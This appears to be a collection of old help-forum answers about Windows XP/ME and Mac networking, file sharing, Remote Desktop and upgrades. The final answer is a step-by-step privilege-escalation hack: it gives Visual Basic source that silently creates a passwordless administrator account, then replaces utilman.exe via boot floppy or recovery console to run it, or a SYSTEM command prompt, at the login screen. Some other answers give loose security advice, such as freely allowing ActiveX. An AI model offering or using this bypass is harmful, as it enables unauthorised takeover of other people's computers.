System Preferences > Sharing > Services\n\nSelect all the services you want to select. Personal File Sharing and Windows sharing will allow you to access it from the Windows machine.\n\nOn the Windows box, navigate through the network and find your computer.  If it is not listed, you will have to add it using the IP address that is in the same window when "windows sharing" is highlighted.

Well.........you might consider retyping this so that it is a little easier to understand but, if I were to give an educated guess at what your asking, it sounds to me that you want to access another computer remotely? If that's the case then you will need to give access in your firewall settings. If you have Windows Firewall, go to Start, Control Panel, Network Connections then click on the connection you need to access once then click "Change Windows Firewall settings", then click "Exceptions" and check the box that says "Remote Desktop" and also "Remote Assistance" then click "Advanced" click on the connection that you are accessing and click "Settings" and then check the box that says "Remote Desktop" This should give you access. If you are using another kind of firewall(other than Windows Firewall) you will need to go to their web site and get instructions.

I'm going to guess that you have OS X.\n\nYou will want to use a Remote Desktop service.

Hi Maria,\n\nReally, you need to upgrade from ME to XP as soon as you possibly can.  ME is possibly the worst Operating System Microsoft ever came out with.  It is loaded with errors and vulnerabilities.  Until you're able to do this, though, you can try some things suggested in the link I've included below for you that talks about User32.dll errors.  I hope this works for you.\n\nAs far as updating your drivers, just go to the Microsoft Windows Update site (click on Tools, then click on Windows Update).  You'll get all the updates and many of the drivers your computer needs.  For specific drivers, you can go to the specific site for those, such as video drivers, sound cards, etc.\n\nThe ActiveX message isn't that big a deal.  If you are sure of the website that you are using, go ahead and allow the ActiveX control to be loaded.  The only thing that may happen if you don't load it is that the display may not look the way the author intended.  It will not harm your computer in any way.\n\nAgain, though, please upgrade from ME as soon as you can.  You'll be happy you did.  You can get XP Home for less than $100, or XP Pro for something like $185 or so, depending on where you go.\n\nBest of luck to you.

XP Home doesn't have the Remote Desktop server capability.  XP Home can be a client (controlling an XP Pro machine), but it can't be a server (being controlled by another machine).  For that, you can use a program like VNC, free from http://www.realvnc.com . \n\nThese tips should help you get the computers to see each other: \n\n\n1. If the computers run the original or SP1 versions of Windows XP, disable XP's built-in Internet Connection Firewall on local area network connections -- it's for use only on a direct modem connection to the Internet.  If they run SP2, enable the exception for file and printer sharing in the Windows Firewall.  Disable and un-install all \nother firewall programs while troubleshooting.  When un-installing a firewall program, use the un-install procedure provided by the \nmanufacturer .  Don't use Control Panel | Add or Remove Programs, which might not completely un-install it. \n\n\nFor more information, see: \n\n\nWindows XP Internet Connection Firewall \nhttp://www.practicallynetworked.com/sharing/xp/ic_firewall.htm \n\n\n2. Use only one protocol for File and Printer Sharing.  If the network needs more than one protocol, unbind File and Printer Sharing from all but one of them.  Details here: \n\n\nWindows XP Network Protocols \nhttp://www.practicallynetworked.com/sharing/xp/network_protocols.htm \n\n\n3.  Make sure that NetBIOS over TCP/IP is enabled on all computers. Details here: \n\n\nEnable NetBIOS Over TCP/IP (NetBT) \nhttp://www.practicallynetworked.com/sharing/troubleshoot/netbt.htm \n\n\n4. Run "ipconfig /all" on XP and look at the "Node Type" at the beginning of the output.  If it says "Peer-to-Peer" (which should actually be "Point-to-Point") that's the problem.  It means that the computer only uses a WINS server, which isn't available on a peer-to-peer network, for NetBIOS name resolution. \n\n\nIf that's the case, run the registry editor, open this key: \n\n\n   HLM&#92;System&#92;CurrentControlSet&#92;Services&#92;Netbt&#92;Parameters \n\n\nand delete these values if they're present: \n\n\n   NodeType \n   DhcpNodeType \n\n\nReboot, then try network access again. \n\n\nIf that doesn't fix it, open that registry key again, create a DWORD value called "NodeType", and set it to 1 for "Broadcast" or 4 for "Mixed". \n\n\nFor details, see these Microsoft Knowledge Base articles: \n\n\nDefault Node Type for Microsoft Clients \nhttp://support.microsoft.com/default.aspx?scid=kb;en-us;160177 \n\n\nTCP/IP and NBT Configuration Parameters for Windows XP \nhttp://support.microsoft.com/default.aspx?scid=kb;en-us;314053

I know of a way, but I woult not even bother to tell you that, unless to get points here.\n\nIts very dangerous to mess with those system files. You might screw up the system. It was a little safe with Windows 95/98 and the ME, but now with XP I never tried it but can expect results to be devastating if something goes wrong.\n\nhttp://www.theeldergeek.com/change_text_on_xp_start_button.htm

If you are use windows 98 then:\n --->Open MyComputer-->in that there is a folder like\n     dialup network open that one see all the dial up  \n     connetion. choose the connection  right click select \n     send to option ---> send to desktop .\n\nFor Win XP:\n     Open Network Places then left side option like network \n     connction click on it and select connection and right \n     click of the mouse and choose send to desktop option

Step 1:  Get rid of windows ME.  It's crappy and nobody uses it anymore, because nobody liked it in the first place.  You can run either windows 98 or windows 2000 on that machine.  \n\nStep 2:  Follow step 1, your problem will be solved.

Windows ME sucks.  It's very unstable and prone to crashing.  I would recommend trying to upgrade to XP.  Contact your computer manufacturer (Dell, HP, Toshiba, etc...) to see if your computer will allow an upgrade to XP.  You usually have to upgrade the BIOS, which can be done through the manufacturer's website.\n\nIpod software works in XP

Remote desktop is only supported on XP and above.\nFirst Enable remote desktop by Right click MyComputer>Properties>Remote Tab, Select Remote desktop,\nand give permissions to the user.\n\nOn Another winxp client Start>RUN>MSTC press enter, and connecting by providing the ip address of the remote xp machine.

Windows XP does not accept to work on other machines than the one that been installed into.\nmeans, when you install windows XP on hard drive in machine1, you can not run that windows by moving hard drive in machine2.\n\nYou need to install new Windows XP into this old hard while in machine2.\n\n\nXLMan

ME has a lot of serious issues and hundreds of bugs were never worked out of it. ME is much easier to get hacked on since it has many more open ports in the programming. XP has much more to it. It's programmed to pick up USB hardware without having to install it, and when you sign on to the internet it can be a bit slow because it has many more security features to it. That, and it takes up more memory/ram (memory and ram keeps your PC speedy.).\n\nAnd please don't listen to Speedyerben or w/e... Spyware is far less damaging to your PC than viruses. Spyware doesn't even effect you unless you're doing a lot of illegal *rap.

If you do not have a network, do both items have an Ethernet (Network port on them?) - if so you need a 'Crossover' network cable and just joine them, in XP the other pc will be recognised immediately, you will have to set 'Sharing' on the disk you wish to access. If you do not have ethernet ports then, look for Brooklyn Bridge or another similar program, that can use USB, Serial or Printer Ports to exchange data.

I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this \n\nto work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive. \n\nOverview: \nWindows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is \n\nlocated at C:&#92;Windows&#92;system32&#92;utilman.exe for windows XP and C:&#92;WINNT&#92;System32&#92;utilman.exe for windows 2000. So all you have to do is make \n\nyour own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work. \n\nIf the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this \n\nwill take a few minutes depending on how fast the PC is. \n\nFirst We need to make the program \nI used Visual Basic 6, here is my source code that i used to create the administrative account: \n\n#################################START############################### \nPrivate Sub Form_Load() \nShell "net user NewAdmin " & """""" & " /add", vbHide \nPause (1) \nShell "net localgroup administrators NewAdmin /add", vbHide \nPause (1) \nmsgbox "Added Administrative User",16,"Hacked XP" \nEnd \nEnd Sub \n\nSub Pause(interval) \n'Pauses execution \nCurrent = Timer \nDo While Timer - Current < Val(interval) \nDoEvents \nLoop \nEnd Sub \n\n'#################################END############################### \n\nCompile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank \n\npassword and then adds them to the Administrators Group. \n\nOk Now that we've made the program lets move on... \n\nFAT32 \n1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe \n2. Add the newly made Utilman.exe to the Floppy \n3. Restart the computer with the floppy in it \n4. After DOS loads type C: and press enter. \n5. If it changes from A:/> to C:/> then your doing good \n6. use this command: Copy A:&#92;utilman.exe C:&#92;windows&#92;system32&#92;utilman.exe press Y to overwrite the exsisting file \n7. Restart the computer without the floppy in it \n8. When it gets to the Login Screen Press the Windows Key + U \n9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10 \n\n9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your \n\nPC. \n10. After pressing <b>Windows Key + U</b> then type in the username NewAdmin and push Enter. Thats It you now have administrative access to \n\nyour PC. \n\n\nNTFS \nUse a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt)
